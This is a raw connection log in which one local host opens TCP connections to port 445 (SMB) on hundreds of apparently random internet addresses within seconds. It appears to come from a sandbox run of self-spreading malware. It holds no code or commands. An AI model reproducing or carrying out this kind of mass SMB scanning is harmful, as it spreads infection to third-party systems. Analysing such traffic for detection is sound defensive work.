Jul 20, 2022 13:26:05.668634892 CEST	54199	445	192.168.2.7	23.208.219.74
Jul 20, 2022 13:26:05.684956074 CEST	54202	445	192.168.2.7	198.66.78.245
Jul 20, 2022 13:26:05.685492992 CEST	54204	445	192.168.2.7	88.107.12.56
Jul 20, 2022 13:26:05.705230951 CEST	54205	445	192.168.2.7	65.189.100.75
Jul 20, 2022 13:26:05.713546038 CEST	445	54143	126.150.191.106	192.168.2.7
Jul 20, 2022 13:26:05.738850117 CEST	54210	445	192.168.2.7	8.6.25.237
Jul 20, 2022 13:26:05.740927935 CEST	54213	445	192.168.2.7	104.160.117.151
Jul 20, 2022 13:26:05.743357897 CEST	54216	445	192.168.2.7	96.98.196.232
Jul 20, 2022 13:26:06.078998089 CEST	54164	445	192.168.2.7	50.205.53.21
Jul 20, 2022 13:26:06.189220905 CEST	54223	445	192.168.2.7	94.27.140.13
Jul 20, 2022 13:26:06.207118034 CEST	445	54164	50.205.53.21	192.168.2.7
Jul 20, 2022 13:26:06.393098116 CEST	54227	445	192.168.2.7	5.240.140.62
Jul 20, 2022 13:26:06.393147945 CEST	54228	445	192.168.2.7	185.15.42.80
Jul 20, 2022 13:26:06.560688972 CEST	54232	445	192.168.2.7	12.245.230.198
Jul 20, 2022 13:26:06.560719967 CEST	54233	445	192.168.2.7	11.142.55.157
Jul 20, 2022 13:26:06.560827971 CEST	54234	445	192.168.2.7	3.231.190.214
Jul 20, 2022 13:26:06.627513885 CEST	54236	445	192.168.2.7	61.104.16.189
Jul 20, 2022 13:26:06.628257036 CEST	54237	445	192.168.2.7	129.108.31.99
Jul 20, 2022 13:26:06.689321041 CEST	54243	445	192.168.2.7	14.225.46.218
Jul 20, 2022 13:26:06.691278934 CEST	54246	445	192.168.2.7	153.12.32.214
Jul 20, 2022 13:26:06.691406012 CEST	54244	445	192.168.2.7	15.169.57.208
Jul 20, 2022 13:26:06.691446066 CEST	54247	445	192.168.2.7	101.230.250.129
Jul 20, 2022 13:26:06.691454887 CEST	54248	445	192.168.2.7	38.60.186.204
Jul 20, 2022 13:26:06.691510916 CEST	54249	445	192.168.2.7	190.63.177.2
Jul 20, 2022 13:26:06.691564083 CEST	54250	445	192.168.2.7	98.153.228.82
Jul 20, 2022 13:26:06.752891064 CEST	54252	445	192.168.2.7	140.26.49.117
Jul 20, 2022 13:26:06.788549900 CEST	54255	445	192.168.2.7	132.22.155.208
Jul 20, 2022 13:26:06.788671017 CEST	54260	445	192.168.2.7	73.68.195.140
Jul 20, 2022 13:26:06.788675070 CEST	54261	445	192.168.2.7	24.180.8.31
Jul 20, 2022 13:26:06.788754940 CEST	54262	445	192.168.2.7	66.17.137.146
Jul 20, 2022 13:26:06.788861990 CEST	54263	445	192.168.2.7	10.91.4.12
Jul 20, 2022 13:26:06.788938999 CEST	54264	445	192.168.2.7	19.234.221.210
Jul 20, 2022 13:26:06.789007902 CEST	54265	445	192.168.2.7	151.4.225.212
Jul 20, 2022 13:26:06.798743963 CEST	54269	445	192.168.2.7	73.42.236.201
Jul 20, 2022 13:26:06.799834013 CEST	54270	445	192.168.2.7	216.237.243.16
Jul 20, 2022 13:26:06.829921007 CEST	54272	445	192.168.2.7	186.102.108.115
Jul 20, 2022 13:26:06.864272118 CEST	54278	445	192.168.2.7	132.160.243.222
Jul 20, 2022 13:26:06.866275072 CEST	54281	445	192.168.2.7	89.2.64.124
Jul 20, 2022 13:26:06.868273973 CEST	54284	445	192.168.2.7	198.177.60.112
Jul 20, 2022 13:26:07.267589092 CEST	54289	445	192.168.2.7	94.27.140.14
Jul 20, 2022 13:26:07.470546961 CEST	54293	445	192.168.2.7	5.240.140.63
Jul 20, 2022 13:26:07.471265078 CEST	54294	445	192.168.2.7	185.15.42.81
Jul 20, 2022 13:26:07.674921989 CEST	54298	445	192.168.2.7	140.8.29.66
Jul 20, 2022 13:26:07.674988985 CEST	54299	445	192.168.2.7	204.208.157.19
Jul 20, 2022 13:26:07.675048113 CEST	54301	445	192.168.2.7	113.216.93.253
Jul 20, 2022 13:26:07.753565073 CEST	54303	445	192.168.2.7	11.120.1.139
Jul 20, 2022 13:26:07.754461050 CEST	54304	445	192.168.2.7	211.50.138.168
Jul 20, 2022 13:26:07.815020084 CEST	54310	445	192.168.2.7	19.168.59.233
Jul 20, 2022 13:26:07.815833092 CEST	54311	445	192.168.2.7	217.1.214.108
Jul 20, 2022 13:26:07.817255020 CEST	54313	445	192.168.2.7	144.89.134.142
Jul 20, 2022 13:26:07.818213940 CEST	54314	445	192.168.2.7	132.160.223.121
Jul 20, 2022 13:26:07.818959951 CEST	54315	445	192.168.2.7	16.61.244.128
Jul 20, 2022 13:26:07.819685936 CEST	54316	445	192.168.2.7	27.184.11.32
Jul 20, 2022 13:26:07.820453882 CEST	54317	445	192.168.2.7	156.221.174.6
Jul 20, 2022 13:26:07.870898962 CEST	54319	445	192.168.2.7	191.232.44.229
Jul 20, 2022 13:26:07.909945965 CEST	445	54317	156.221.174.6	192.168.2.7
Jul 20, 2022 13:26:07.913214922 CEST	54324	445	192.168.2.7	5.81.169.147
Jul 20, 2022 13:26:07.916763067 CEST	54327	445	192.168.2.7	57.206.203.239
Jul 20, 2022 13:26:07.916791916 CEST	54328	445	192.168.2.7	82.198.94.182
Jul 20, 2022 13:26:07.916919947 CEST	54329	445	192.168.2.7	128.147.121.149
Jul 20, 2022 13:26:07.916958094 CEST	54330	445	192.168.2.7	4.223.64.166
Jul 20, 2022 13:26:07.917015076 CEST	54331	445	192.168.2.7	63.21.31.58
Jul 20, 2022 13:26:07.917109966 CEST	54334	445	192.168.2.7	15.34.232.234
Jul 20, 2022 13:26:07.924593925 CEST	54336	445	192.168.2.7	98.238.233.65
Jul 20, 2022 13:26:07.925204992 CEST	54337	445	192.168.2.7	76.142.96.160
Jul 20, 2022 13:26:07.955635071 CEST	54339	445	192.168.2.7	132.83.219.49
Jul 20, 2022 13:26:07.971561909 CEST	54341	445	192.168.2.7	163.94.115.87
Jul 20, 2022 13:26:08.005211115 CEST	54344	445	192.168.2.7	45.234.106.201
Jul 20, 2022 13:26:08.005342007 CEST	54347	445	192.168.2.7	19.193.63.250
Jul 20, 2022 13:26:08.345784903 CEST	54357	445	192.168.2.7	94.27.140.15
Jul 20, 2022 13:26:08.422974110 CEST	54317	445	192.168.2.7	156.221.174.6
Jul 20, 2022 13:26:08.511878014 CEST	445	54317	156.221.174.6	192.168.2.7
Jul 20, 2022 13:26:08.548943043 CEST	54359	445	192.168.2.7	185.15.42.82
Jul 20, 2022 13:26:08.548995972 CEST	54360	445	192.168.2.7	5.240.140.64
Jul 20, 2022 13:26:08.595638990 CEST	445	54359	185.15.42.82	192.168.2.7
Jul 20, 2022 13:26:08.799125910 CEST	54366	445	192.168.2.7	196.28.177.14
Jul 20, 2022 13:26:08.800645113 CEST	54368	445	192.168.2.7	54.56.185.54
Jul 20, 2022 13:26:08.801373005 CEST	54369	445	192.168.2.7	48.56.227.138
Jul 20, 2022 13:26:08.879828930 CEST	54371	445	192.168.2.7	190.108.23.154
Jul 20, 2022 13:26:08.880000114 CEST	54372	445	192.168.2.7	67.203.245.64
Jul 20, 2022 13:26:08.939837933 CEST	54378	445	192.168.2.7	43.248.185.187
Jul 20, 2022 13:26:08.940498114 CEST	54379	445	192.168.2.7	68.68.197.63
Jul 20, 2022 13:26:08.940968037 CEST	54380	445	192.168.2.7	21.181.145.153
Jul 20, 2022 13:26:08.941946030 CEST	54382	445	192.168.2.7	43.132.57.98
Jul 20, 2022 13:26:08.942466021 CEST	54383	445	192.168.2.7	123.107.32.140
Jul 20, 2022 13:26:08.942955971 CEST	54384	445	192.168.2.7	131.141.93.248
Jul 20, 2022 13:26:08.943595886 CEST	54385	445	192.168.2.7	136.249.133.21
Jul 20, 2022 13:26:08.986501932 CEST	54386	445	192.168.2.7	38.2.116.161
Jul 20, 2022 13:26:09.020497084 CEST	54392	445	192.168.2.7	198.43.109.0
Jul 20, 2022 13:26:09.022507906 CEST	54395	445	192.168.2.7	106.91.249.3
Jul 20, 2022 13:26:09.023200035 CEST	54396	445	192.168.2.7	67.9.43.139
Jul 20, 2022 13:26:09.023818970 CEST	54397	445	192.168.2.7	48.102.196.123
Jul 20, 2022 13:26:09.024610996 CEST	54398	445	192.168.2.7	95.232.87.63
Jul 20, 2022 13:26:09.025799036 CEST	54400	445	192.168.2.7	96.163.180.50
Jul 20, 2022 13:26:09.027415991 CEST	54403	445	192.168.2.7	132.23.184.106
Jul 20, 2022 13:26:09.049540997 CEST	54404	445	192.168.2.7	111.162.169.38
Jul 20, 2022 13:26:09.050380945 CEST	54405	445	192.168.2.7	130.27.11.16
Jul 20, 2022 13:26:09.080194950 CEST	54407	445	192.168.2.7	84.79.238.189
Jul 20, 2022 13:26:09.096242905 CEST	54409	445	192.168.2.7	198.44.162.7
Jul 20, 2022 13:26:09.110493898 CEST	54359	445	192.168.2.7	185.15.42.82
Jul 20, 2022 13:26:09.117414951 CEST	54418	445	192.168.2.7	13.148.132.192
Jul 20, 2022 13:26:09.117510080 CEST	54420	445	192.168.2.7	114.198.93.126
Jul 20, 2022 13:26:09.156215906 CEST	445	54359	185.15.42.82	192.168.2.7
Jul 20, 2022 13:26:09.376146078 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:09.408263922 CEST	54425	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.446418047 CEST	445	54425	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.446683884 CEST	54425	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.446892977 CEST	54425	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.461007118 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.487473011 CEST	445	54425	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.499890089 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.500042915 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.500227928 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.514503002 CEST	445	54425	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.514632940 CEST	54425	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.538516045 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.618619919 CEST	54428	445	192.168.2.7	5.240.140.65
Jul 20, 2022 13:26:09.618927956 CEST	54429	445	192.168.2.7	185.15.42.83
Jul 20, 2022 13:26:09.630608082 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.630887032 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.668448925 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.670460939 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.670686007 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.710542917 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.711055994 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.749444008 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.749604940 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.818336010 CEST	445	54426	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:09.818495035 CEST	54426	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:09.909265995 CEST	54436	445	192.168.2.7	41.200.54.237
Jul 20, 2022 13:26:09.910094976 CEST	54437	445	192.168.2.7	171.206.53.107
Jul 20, 2022 13:26:09.910844088 CEST	54438	445	192.168.2.7	31.206.112.143
Jul 20, 2022 13:26:09.987970114 CEST	54440	445	192.168.2.7	183.14.206.33
Jul 20, 2022 13:26:09.997334003 CEST	54441	445	192.168.2.7	18.37.104.147
Jul 20, 2022 13:26:10.066339016 CEST	54447	445	192.168.2.7	168.51.88.183
Jul 20, 2022 13:26:10.066884041 CEST	54448	445	192.168.2.7	220.7.144.112
Jul 20, 2022 13:26:10.067425966 CEST	54449	445	192.168.2.7	114.66.42.149
Jul 20, 2022 13:26:10.068264008 CEST	54450	445	192.168.2.7	43.90.87.197
Jul 20, 2022 13:26:10.081538916 CEST	54452	445	192.168.2.7	75.182.59.194
Jul 20, 2022 13:26:10.081563950 CEST	54453	445	192.168.2.7	175.70.195.197
Jul 20, 2022 13:26:10.081671953 CEST	54454	445	192.168.2.7	209.12.145.4
Jul 20, 2022 13:26:10.096574068 CEST	54456	445	192.168.2.7	4.71.36.84
Jul 20, 2022 13:26:10.144568920 CEST	54461	445	192.168.2.7	46.242.48.189
Jul 20, 2022 13:26:10.146114111 CEST	54464	445	192.168.2.7	216.159.11.169
Jul 20, 2022 13:26:10.146663904 CEST	54465	445	192.168.2.7	52.112.145.159
Jul 20, 2022 13:26:10.147190094 CEST	54466	445	192.168.2.7	150.57.162.32
Jul 20, 2022 13:26:10.147705078 CEST	54467	445	192.168.2.7	118.182.71.75
Jul 20, 2022 13:26:10.149034023 CEST	54469	445	192.168.2.7	85.192.129.177
Jul 20, 2022 13:26:10.151031971 CEST	54472	445	192.168.2.7	164.93.198.246
Jul 20, 2022 13:26:10.174387932 CEST	54473	445	192.168.2.7	79.179.212.95
Jul 20, 2022 13:26:10.174735069 CEST	54474	445	192.168.2.7	140.68.39.233
Jul 20, 2022 13:26:10.205681086 CEST	54477	445	192.168.2.7	142.181.77.60
Jul 20, 2022 13:26:10.221259117 CEST	54478	445	192.168.2.7	80.71.57.128
Jul 20, 2022 13:26:10.236670971 CEST	54480	445	192.168.2.7	162.241.210.197
Jul 20, 2022 13:26:10.237385988 CEST	54481	445	192.168.2.7	216.155.167.58
Jul 20, 2022 13:26:10.690213919 CEST	54496	445	192.168.2.7	5.240.140.66
Jul 20, 2022 13:26:10.691396952 CEST	54497	445	192.168.2.7	185.15.42.84
Jul 20, 2022 13:26:11.017086983 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:26:11.042298079 CEST	54503	445	192.168.2.7	222.192.195.61
Jul 20, 2022 13:26:11.049988031 CEST	54505	445	192.168.2.7	81.180.202.109
Jul 20, 2022 13:26:11.050184011 CEST	54506	445	192.168.2.7	21.50.244.198
Jul 20, 2022 13:26:11.079412937 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:11.113363981 CEST	54509	445	192.168.2.7	205.83.242.76
Jul 20, 2022 13:26:11.114130020 CEST	54510	445	192.168.2.7	29.76.12.219
Jul 20, 2022 13:26:11.189591885 CEST	54515	445	192.168.2.7	117.208.192.167
Jul 20, 2022 13:26:11.190265894 CEST	54516	445	192.168.2.7	7.152.236.158
Jul 20, 2022 13:26:11.191623926 CEST	54518	445	192.168.2.7	69.202.161.123
Jul 20, 2022 13:26:11.191875935 CEST	54517	445	192.168.2.7	197.224.189.121
Jul 20, 2022 13:26:11.206445932 CEST	54519	445	192.168.2.7	139.151.182.92
Jul 20, 2022 13:26:11.208220005 CEST	54521	445	192.168.2.7	64.2.33.134
Jul 20, 2022 13:26:11.208960056 CEST	54522	445	192.168.2.7	15.27.143.127
Jul 20, 2022 13:26:11.210607052 CEST	54524	445	192.168.2.7	12.27.173.225
Jul 20, 2022 13:26:11.273605108 CEST	54529	445	192.168.2.7	174.97.227.72
Jul 20, 2022 13:26:11.282974005 CEST	54531	445	192.168.2.7	113.218.135.103
Jul 20, 2022 13:26:11.283107996 CEST	54534	445	192.168.2.7	38.253.184.105
Jul 20, 2022 13:26:11.283260107 CEST	54535	445	192.168.2.7	11.28.129.233
Jul 20, 2022 13:26:11.283385038 CEST	54537	445	192.168.2.7	89.80.211.201
Jul 20, 2022 13:26:11.291610956 CEST	54539	445	192.168.2.7	12.38.8.222
Jul 20, 2022 13:26:11.292408943 CEST	54533	445	192.168.2.7	62.250.81.84
Jul 20, 2022 13:26:11.294383049 CEST	54541	445	192.168.2.7	10.17.108.108
Jul 20, 2022 13:26:11.294383049 CEST	54542	445	192.168.2.7	33.81.151.6
Jul 20, 2022 13:26:11.331484079 CEST	54545	445	192.168.2.7	102.236.225.35
Jul 20, 2022 13:26:11.350405931 CEST	54547	445	192.168.2.7	27.217.153.251
Jul 20, 2022 13:26:11.382621050 CEST	54557	445	192.168.2.7	102.9.88.64
Jul 20, 2022 13:26:11.384145021 CEST	54558	445	192.168.2.7	114.68.195.126
Jul 20, 2022 13:26:11.799004078 CEST	54564	445	192.168.2.7	185.15.42.85
Jul 20, 2022 13:26:11.799742937 CEST	54565	445	192.168.2.7	5.240.140.67
Jul 20, 2022 13:26:12.079507113 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:12.160159111 CEST	54571	445	192.168.2.7	185.118.124.124
Jul 20, 2022 13:26:12.179430962 CEST	54572	445	192.168.2.7	179.135.231.226
Jul 20, 2022 13:26:12.179447889 CEST	54573	445	192.168.2.7	192.93.70.212
Jul 20, 2022 13:26:12.238461018 CEST	54580	445	192.168.2.7	221.115.34.80
Jul 20, 2022 13:26:12.239038944 CEST	54581	445	192.168.2.7	83.4.224.127
Jul 20, 2022 13:26:12.315722942 CEST	54584	445	192.168.2.7	15.219.251.57
Jul 20, 2022 13:26:12.316483974 CEST	54585	445	192.168.2.7	111.157.71.196
Jul 20, 2022 13:26:12.317080975 CEST	54586	445	192.168.2.7	162.110.113.190
Jul 20, 2022 13:26:12.317814112 CEST	54587	445	192.168.2.7	139.108.250.36
Jul 20, 2022 13:26:12.330524921 CEST	54588	445	192.168.2.7	41.50.8.88
Jul 20, 2022 13:26:12.332537889 CEST	54589	445	192.168.2.7	223.12.11.140
Jul 20, 2022 13:26:12.332613945 CEST	54590	445	192.168.2.7	141.116.202.99
Jul 20, 2022 13:26:12.332783937 CEST	54592	445	192.168.2.7	59.59.152.98
Jul 20, 2022 13:26:12.415766954 CEST	54599	445	192.168.2.7	6.56.97.100
Jul 20, 2022 13:26:12.415898085 CEST	54601	445	192.168.2.7	1.213.71.165
Jul 20, 2022 13:26:12.415955067 CEST	54598	445	192.168.2.7	125.199.212.194
Jul 20, 2022 13:26:12.416100979 CEST	54605	445	192.168.2.7	34.237.196.158
Jul 20, 2022 13:26:12.416233063 CEST	54604	445	192.168.2.7	23.89.53.39
Jul 20, 2022 13:26:12.416232109 CEST	54608	445	192.168.2.7	110.114.172.2
Jul 20, 2022 13:26:12.416256905 CEST	54609	445	192.168.2.7	25.144.129.39
Jul 20, 2022 13:26:12.416347027 CEST	54610	445	192.168.2.7	43.113.138.200
Jul 20, 2022 13:26:12.416399002 CEST	54611	445	192.168.2.7	114.183.142.200
Jul 20, 2022 13:26:12.456692934 CEST	54614	445	192.168.2.7	68.67.205.205
Jul 20, 2022 13:26:12.471164942 CEST	54615	445	192.168.2.7	133.10.188.128
Jul 20, 2022 13:26:12.502845049 CEST	54626	445	192.168.2.7	84.137.168.159
Jul 20, 2022 13:26:12.502885103 CEST	54627	445	192.168.2.7	45.210.22.12
Jul 20, 2022 13:26:12.505825996 CEST	445	54572	179.135.231.226	192.168.2.7
Jul 20, 2022 13:26:12.752296925 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:12.791632891 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.791815996 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:12.791986942 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:12.831250906 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.861635923 CEST	54633	445	192.168.2.7	185.15.42.86
Jul 20, 2022 13:26:12.862607956 CEST	54634	445	192.168.2.7	5.240.140.68
Jul 20, 2022 13:26:12.878489971 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.880752087 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:12.919620991 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.921503067 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.922815084 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:12.961508989 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:12.961751938 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:13.003879070 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:13.004344940 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:13.017101049 CEST	54572	445	192.168.2.7	179.135.231.226
Jul 20, 2022 13:26:13.064282894 CEST	445	54632	94.27.140.16	192.168.2.7
Jul 20, 2022 13:26:13.064392090 CEST	54632	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:26:13.065253019 CEST	54638	445	192.168.2.7	94.27.140.17
Jul 20, 2022 13:26:13.289096117 CEST	54642	445	192.168.2.7	46.123.122.162
Jul 20, 2022 13:26:13.299154997 CEST	54643	445	192.168.2.7	125.114.5.20
Jul 20, 2022 13:26:13.299890995 CEST	54644	445	192.168.2.7	56.78.177.90
Jul 20, 2022 13:26:13.364754915 CEST	54651	445	192.168.2.7	153.161.76.207
Jul 20, 2022 13:26:13.365463018 CEST	54652	445	192.168.2.7	139.151.197.111
Jul 20, 2022 13:26:13.366744041 CEST	445	54572	179.135.231.226	192.168.2.7
Jul 20, 2022 13:26:13.440093040 CEST	54655	445	192.168.2.7	128.29.104.221
Jul 20, 2022 13:26:13.441083908 CEST	54656	445	192.168.2.7	18.187.99.171
Jul 20, 2022 13:26:13.441889048 CEST	54657	445	192.168.2.7	178.23.120.158
Jul 20, 2022 13:26:13.442615032 CEST	54658	445	192.168.2.7	131.160.202.65
Jul 20, 2022 13:26:13.455869913 CEST	54659	445	192.168.2.7	1.243.158.213
Jul 20, 2022 13:26:13.456841946 CEST	54660	445	192.168.2.7	199.152.231.251
Jul 20, 2022 13:26:13.457556009 CEST	54661	445	192.168.2.7	122.21.180.184
Jul 20, 2022 13:26:13.459028959 CEST	54663	445	192.168.2.7	12.61.138.0
Jul 20, 2022 13:26:13.534452915 CEST	54666	445	192.168.2.7	70.134.24.99
Jul 20, 2022 13:26:13.535870075 CEST	54668	445	192.168.2.7	131.159.53.142
Jul 20, 2022 13:26:13.536829948 CEST	54669	445	192.168.2.7	221.254.106.246
Jul 20, 2022 13:26:13.537544966 CEST	54670	445	192.168.2.7	174.152.14.20
Jul 20, 2022 13:26:13.538928986 CEST	54672	445	192.168.2.7	8.185.26.20
Jul 20, 2022 13:26:13.542294025 CEST	54677	445	192.168.2.7	37.91.130.99
Jul 20, 2022 13:26:13.543008089 CEST	54678	445	192.168.2.7	200.57.132.231
Jul 20, 2022 13:26:13.545164108 CEST	54681	445	192.168.2.7	166.251.229.240
Jul 20, 2022 13:26:13.546061993 CEST	54682	445	192.168.2.7	48.102.134.187
Jul 20, 2022 13:26:13.592308998 CEST	54685	445	192.168.2.7	148.145.5.158
Jul 20, 2022 13:26:13.596271038 CEST	54686	445	192.168.2.7	14.224.29.242
Jul 20, 2022 13:26:13.627480984 CEST	54697	445	192.168.2.7	92.212.70.86
Jul 20, 2022 13:26:13.628772974 CEST	54699	445	192.168.2.7	85.64.254.23
Jul 20, 2022 13:26:13.767134905 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:13.939975977 CEST	54703	445	192.168.2.7	5.240.140.69
Jul 20, 2022 13:26:13.940655947 CEST	54704	445	192.168.2.7	185.15.42.87
Jul 20, 2022 13:26:14.130371094 CEST	54706	445	192.168.2.7	94.27.140.18
Jul 20, 2022 13:26:14.394084930 CEST	54713	445	192.168.2.7	7.188.163.95
Jul 20, 2022 13:26:14.409477949 CEST	54714	445	192.168.2.7	121.136.254.173
Jul 20, 2022 13:26:14.411115885 CEST	54716	445	192.168.2.7	31.117.38.149
Jul 20, 2022 13:26:14.507970095 CEST	54722	445	192.168.2.7	190.111.170.104
Jul 20, 2022 13:26:14.508837938 CEST	54723	445	192.168.2.7	96.245.200.202
Jul 20, 2022 13:26:14.565253973 CEST	54727	445	192.168.2.7	126.47.197.184
Jul 20, 2022 13:26:14.565823078 CEST	54728	445	192.168.2.7	25.241.201.107
Jul 20, 2022 13:26:14.566112995 CEST	54726	445	192.168.2.7	53.87.32.179
Jul 20, 2022 13:26:14.566335917 CEST	54729	445	192.168.2.7	139.155.210.162
Jul 20, 2022 13:26:14.581495047 CEST	54730	445	192.168.2.7	89.159.122.93
Jul 20, 2022 13:26:14.582516909 CEST	54731	445	192.168.2.7	67.229.40.193
Jul 20, 2022 13:26:14.584194899 CEST	54732	445	192.168.2.7	118.38.184.18
Jul 20, 2022 13:26:14.585488081 CEST	54733	445	192.168.2.7	59.190.231.6
Jul 20, 2022 13:26:14.659584999 CEST	54737	445	192.168.2.7	162.66.186.52
Jul 20, 2022 13:26:14.693810940 CEST	54739	445	192.168.2.7	50.19.22.45
Jul 20, 2022 13:26:14.693866014 CEST	54740	445	192.168.2.7	19.175.22.10
Jul 20, 2022 13:26:14.693965912 CEST	54741	445	192.168.2.7	222.134.22.58
Jul 20, 2022 13:26:14.693980932 CEST	54742	445	192.168.2.7	94.36.117.210
Jul 20, 2022 13:26:14.694255114 CEST	54749	445	192.168.2.7	37.70.55.84
Jul 20, 2022 13:26:14.694291115 CEST	54748	445	192.168.2.7	221.30.28.62
Jul 20, 2022 13:26:14.694463968 CEST	54753	445	192.168.2.7	90.50.7.171
Jul 20, 2022 13:26:14.694489956 CEST	54752	445	192.168.2.7	180.226.173.106
Jul 20, 2022 13:26:14.707611084 CEST	54756	445	192.168.2.7	197.30.232.233
Jul 20, 2022 13:26:14.707868099 CEST	54757	445	192.168.2.7	79.128.106.176
Jul 20, 2022 13:26:14.738244057 CEST	54759	445	192.168.2.7	20.137.144.61
Jul 20, 2022 13:26:14.744898081 CEST	54761	445	192.168.2.7	191.33.76.222
Jul 20, 2022 13:26:15.023494959 CEST	54775	445	192.168.2.7	5.240.140.70
Jul 20, 2022 13:26:15.023546934 CEST	54774	445	192.168.2.7	185.15.42.88
Jul 20, 2022 13:26:15.096224070 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:15.130116940 CEST	445	54776	93.22.219.3	192.168.2.7
Jul 20, 2022 13:26:15.130338907 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:15.135610104 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:15.206176043 CEST	54778	445	192.168.2.7	94.27.140.19
Jul 20, 2022 13:26:15.376993895 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:15.518464088 CEST	54785	445	192.168.2.7	136.174.141.115
Jul 20, 2022 13:26:15.519902945 CEST	54787	445	192.168.2.7	136.203.129.2
Jul 20, 2022 13:26:15.520673990 CEST	54788	445	192.168.2.7	223.20.178.199
Jul 20, 2022 13:26:15.614981890 CEST	54790	445	192.168.2.7	135.168.74.13
Jul 20, 2022 13:26:15.615210056 CEST	54791	445	192.168.2.7	148.167.137.122
Jul 20, 2022 13:26:15.674598932 CEST	54798	445	192.168.2.7	69.204.104.182
Jul 20, 2022 13:26:15.676034927 CEST	54799	445	192.168.2.7	79.87.118.37
Jul 20, 2022 13:26:15.676053047 CEST	54800	445	192.168.2.7	26.86.59.63
Jul 20, 2022 13:26:15.676152945 CEST	54801	445	192.168.2.7	146.173.217.248
Jul 20, 2022 13:26:15.689241886 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:15.705683947 CEST	54802	445	192.168.2.7	116.31.61.53
Jul 20, 2022 13:26:15.710853100 CEST	54803	445	192.168.2.7	109.196.89.107
Jul 20, 2022 13:26:15.710946083 CEST	54805	445	192.168.2.7	135.17.84.12
Jul 20, 2022 13:26:15.710947037 CEST	54804	445	192.168.2.7	156.104.97.200
Jul 20, 2022 13:26:15.784008026 CEST	54809	445	192.168.2.7	108.249.198.116
Jul 20, 2022 13:26:15.816545010 CEST	54811	445	192.168.2.7	125.216.216.176
Jul 20, 2022 13:26:15.823261023 CEST	54817	445	192.168.2.7	70.140.49.16
Jul 20, 2022 13:26:15.823293924 CEST	54818	445	192.168.2.7	123.16.243.129
Jul 20, 2022 13:26:15.823443890 CEST	54821	445	192.168.2.7	144.53.170.46
Jul 20, 2022 13:26:15.823559046 CEST	54822	445	192.168.2.7	211.242.176.203
Jul 20, 2022 13:26:15.823628902 CEST	54825	445	192.168.2.7	223.87.38.8
Jul 20, 2022 13:26:15.823687077 CEST	54826	445	192.168.2.7	39.179.179.118
Jul 20, 2022 13:26:15.823756933 CEST	54827	445	192.168.2.7	143.180.89.35
Jul 20, 2022 13:26:15.830667019 CEST	54828	445	192.168.2.7	200.172.193.50
Jul 20, 2022 13:26:15.832252979 CEST	54830	445	192.168.2.7	115.37.166.178
Jul 20, 2022 13:26:15.864509106 CEST	54835	445	192.168.2.7	39.86.187.69
Jul 20, 2022 13:26:15.868119001 CEST	54837	445	192.168.2.7	132.7.67.49
Jul 20, 2022 13:26:16.102823019 CEST	54846	445	192.168.2.7	185.15.42.89
Jul 20, 2022 13:26:16.102880955 CEST	54847	445	192.168.2.7	5.240.140.71
Jul 20, 2022 13:26:16.283907890 CEST	54850	445	192.168.2.7	94.27.140.20
Jul 20, 2022 13:26:16.298616886 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:16.644326925 CEST	54857	445	192.168.2.7	88.82.204.24
Jul 20, 2022 13:26:16.645452976 CEST	54859	445	192.168.2.7	1.205.87.158
